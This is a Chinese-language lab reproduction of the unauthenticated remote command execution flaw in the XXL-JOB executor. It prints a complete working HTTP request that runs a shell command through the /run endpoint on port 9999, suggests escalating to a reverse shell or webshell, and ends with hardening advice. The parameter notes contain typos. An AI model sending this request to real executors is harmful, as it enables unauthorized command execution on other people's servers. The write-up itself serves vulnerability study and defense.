赞
踩
XXL-JOB是一个分布式任务调度平台,其核心设计目标是开发迅速、学习简单、轻量级、易扩展。现已开放源代码并接入多家公司线上产品线,开箱即用。XXL-JOB分为admin和executor两端,前者为后台管理页面,后者是任务执行的客户端。
漏洞影响版本:<=2.2.0
executor默认没有配置认证,未授权的攻击者可以通过RESTful API接口执行任意命令。
此漏洞为Xxljob配置不当情况下反序列化RCE
XxlJob<=2.1.2,需要利用Hessian触发。
XxlJob >= 2.2.0 会支持RESTFUL API,直接打公开的POC过去即可。
在官方文档的执行器配置文件中说到端口号在默认情况下是9999
---------------------------------------------------------------------------------------------------------------------------------
docker-compose up -d
下载并启动环境后,访问 http://ip:8080
可以看到管理端,访问http://ip:9999
可以看到客户端
通过burp抓包,获取客户端的数据包,将该数据包替换成以下数据包
- POST /run HTTP/1.1
- Host: 172.16.102.66:9999
- Accept-Encoding: gzip, deflate
- Accept: */*
- Accept-Language: en
- User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
- Connection: close
- Content-Type: application/json
- Content-Length: 377
-
- {
- "jobId": 1,
- "executorHandler": "demoJobHandler",
- "executorParams": "demoJobHandler",
- "executorBlockStrategy": "COVER_EARLY",
- "executorTimeout": 0,
- "logId": 1,
- "logDateTime": 1586629003729,
- "glueType": "GLUE_SHELL",
- "glueSource": "touch /tmp/NoBodyCanFuckWithMe",
- "glueUpdatetime": 1586699003758,
- "broadcastIndex": 0,
- "broadcastTotal": 0
- }
这是参数的意思
- "jobId":1, //任务ID
- "executorHandler":"demoobHandler", //任务标识
- "executorParams":;"demo3obHandler", //任务参数
- "executorB1ockstrategy":"cOVER_EARLY", //任务阻塞策略,可选值参考
- com.xx1.job.core.enums.ExecutorB1ockstrategyEnum
- "executorTimeout":o, //任务超时时间,单位秒,大于零时生效
- "logId":1, //本次调度日志ID
- "logDateTime ":1586629003729, //本次调度日志时间
- "glueType":"BEAN", //任务模式,可选值参考com.xx1.job.core.glue.alueTypeEnum
- "gluesource":"xxx", //GLUE脚本代码
- "glueupdatetime":1586629003727, /GLUE脚本更新时间,用于判定脚本是否变更以及是否需要刷新
- "broadcastIndex" : 0, //分片参数:当前分片
- "broadcastTota7":o //分片参数:总分片
然后去验证一下
进入/tmp目录,查看
发现存在我们刚刚创建的文件
漏洞复现完成
---------------------------------------------------------------------------------------------------------------------------------
①直接进入会出现一些页面报错
这个问题应该是无伤大雅,不影响正常使用,直接抓客户端的包然后送到repeater即可
②进入虚拟容器命令
进入虚拟容器时,官方在目录下给的图片提示中用的命令是 docker-compose.exe exec executor bash
然而这个命令我因为没有下载 docker-compose.exe用不了
最后在网上到处搜资料,发现使用docker-compose exec executor bash
也是可以的
---------------------------------------------------------------------------------------------------------------------------------
在我们发送的数据包中,有这样一条指令
"glueSource": "touch /tmp/NoBodyCanFuckWithMe"
这一条代表的是执行我们需要执行的命令的参数(这里用的是生成一个文件的指令)
要想进一步利用这个漏洞
可以将命令替换成反弹Shell
或者
能否生成一个含有一句话木马的php文件,然后通过工具来连接呢
---------------------------------------------------------------------------------------------------------------------------------
针对该问题,现提供几种安全防护策略。
1、开启 XXL-JOB 自带的鉴权组件:官方文档中搜索 “xxl.job.accessToken” ,按照文档说明启用即可。
2、端口防护:及时更换默认的执行器端口,不建议直接将默认的9999端口开放到公网。
3、端口访问限制:通过配置安全组限制只允许指定IP才能访问执行器9999端
---------------------------------------------------------------------------------------------------------------------------------
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。